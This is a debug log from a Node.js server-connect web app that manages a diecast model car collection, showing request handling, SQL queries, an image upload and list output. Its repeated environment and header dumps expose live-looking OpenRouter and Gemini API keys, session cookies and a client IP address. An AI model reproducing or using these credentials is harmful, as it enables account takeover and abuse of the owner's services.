    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:34:21.532Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:34:21.532Z server-connect:app Executing action step identify
2026-02-04T10:34:21.532Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:21.532Z server-connect:output identity: 1
2026-02-04T10:34:21.532Z server-connect:app Executing action step restrict
2026-02-04T10:34:21.532Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:21.533Z server-connect:output restrict: undefined
2026-02-04T10:34:21.533Z server-connect:app Executing action step condition
2026-02-04T10:34:21.533Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:34:21.533Z server-connect:app Executing action step update
2026-02-04T10:34:21.533Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:34:21.534Z server-connect:output update: { affected: 1 }
2026-02-04T10:34:21.534Z server-connect:app Executing action step upload
2026-02-04T10:34:21.534Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:34:21.534Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:34:21.534Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:34:21.534Z server-connect:upload Processing file: {
  name: 's-l1600 (6).webp',
  data: <Buffer >,
  size: 86274,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-43-20378841770201261531',
  truncated: false,
  mimetype: 'image/webp',
  md5: '3909044ae7fc1b797a5ccb3e49f74490',
  mv: [Function: mv]
}
2026-02-04T10:34:21.534Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_6_28cf0329-4341-41e5-a25b-3cb51c1af282.webp',
  rel: 'public/assets/images/diecast/s-l1600_6_28cf0329-4341-41e5-a25b-3cb51c1af282.webp'
}
2026-02-04T10:34:21.534Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_6_28cf0329-4341-41e5-a25b-3cb51c1af282.webp',
  rel: 'assets/images/diecast/s-l1600_6_28cf0329-4341-41e5-a25b-3cb51c1af282.webp'
}
2026-02-04T10:34:21.534Z server-connect:output upload_image: [
  {
    name: 's-l1600_6_28cf0329-4341-41e5-a25b-3cb51c1af282.webp',
    path: '/public/assets/images/diecast/s-l1600_6_28cf0329-4341-41e5-a25b-3cb51c1af282.webp',
    url: '/assets/images/diecast/s-l1600_6_28cf0329-4341-41e5-a25b-3cb51c1af282.webp',
    type: 'image/webp',
    size: 86274
  }
]
2026-02-04T10:34:21.534Z server-connect:app Executing action step repeat
2026-02-04T10:34:21.534Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:34:21.534Z server-connect:app Executing action step insert
2026-02-04T10:34:21.534Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:34:21.535Z server-connect:output images: { affected: 1, identity: 194 }
2026-02-04T10:34:21.535Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:34:21.535Z server-connect:output condition: undefined
2026-02-04T10:34:21.761Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:34:21.762Z server-connect:app Executing action step identify
2026-02-04T10:34:21.762Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:21.762Z server-connect:output identity: 1
2026-02-04T10:34:21.762Z server-connect:app Executing action step restrict
2026-02-04T10:34:21.762Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:21.762Z server-connect:output restrict: undefined
2026-02-04T10:34:21.762Z server-connect:app Executing action step paged
2026-02-04T10:34:21.762Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:34:21.765Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:34:21.982Z server-connect:router Serving templateView /
2026-02-04T10:34:21.982Z server-connect:app Executing action step identify
2026-02-04T10:34:21.982Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:21.982Z server-connect:output identity: 1
2026-02-04T10:34:21.982Z server-connect:app Executing action step restrict
2026-02-04T10:34:21.982Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:21.983Z server-connect:output restrict: undefined
2026-02-04T10:34:21.983Z server-connect:app Executing action step restrict
2026-02-04T10:34:21.983Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:21.983Z server-connect:output restrict: undefined
2026-02-04T10:34:21.983Z server-connect:router Render template layouts/main
2026-02-04T10:34:21.983Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:34:31.577Z server-connect:router Serving templateView /diecast
2026-02-04T10:34:31.578Z server-connect:app Executing action step identify
2026-02-04T10:34:31.578Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:31.578Z server-connect:output identity: 1
2026-02-04T10:34:31.578Z server-connect:app Executing action step restrict
2026-02-04T10:34:31.578Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:31.578Z server-connect:output restrict: undefined
2026-02-04T10:34:31.578Z server-connect:router Render template layouts/main
2026-02-04T10:34:31.578Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '195',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=195&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:34:32.362Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:34:32.363Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:34:32.363Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:34:32.363Z server-connect:app Executing action step identify
2026-02-04T10:34:32.363Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:32.363Z server-connect:output identity: 1
2026-02-04T10:34:32.363Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.363Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:32.364Z server-connect:app Executing action step identify
2026-02-04T10:34:32.364Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:32.364Z server-connect:output identity: 1
2026-02-04T10:34:32.364Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.364Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:32.364Z server-connect:output restrict: undefined
2026-02-04T10:34:32.364Z server-connect:app Executing action step select
2026-02-04T10:34:32.364Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
